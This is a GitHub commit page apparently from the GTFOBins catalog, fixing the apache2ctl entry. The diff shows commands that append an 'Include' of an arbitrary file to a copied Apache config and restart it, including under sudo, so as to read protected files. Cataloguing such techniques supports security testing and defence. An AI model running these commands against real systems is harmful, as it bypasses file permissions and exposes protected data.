Skip to content

Commit

Permalink
[Fix] - Commands problem
Browse files Browse the repository at this point in the history
  • Loading branch information
nuts7 committed Jun 19, 2023
1 parent 2f20c1a commit 7fd2de0
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions _gtfobins/apache2ctl.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,12 @@ functions:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/test
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
- code: apache2ctl -d /tmp/apache2 -k restart
sudo:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/test
- code: sudo apache2ctl -d /path/to/apache2 -k restart
---
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
- code: sudo apache2ctl -d /tmp/apache2 -k restart
---

0 comments on commit 7fd2de0

Please sign in to comment.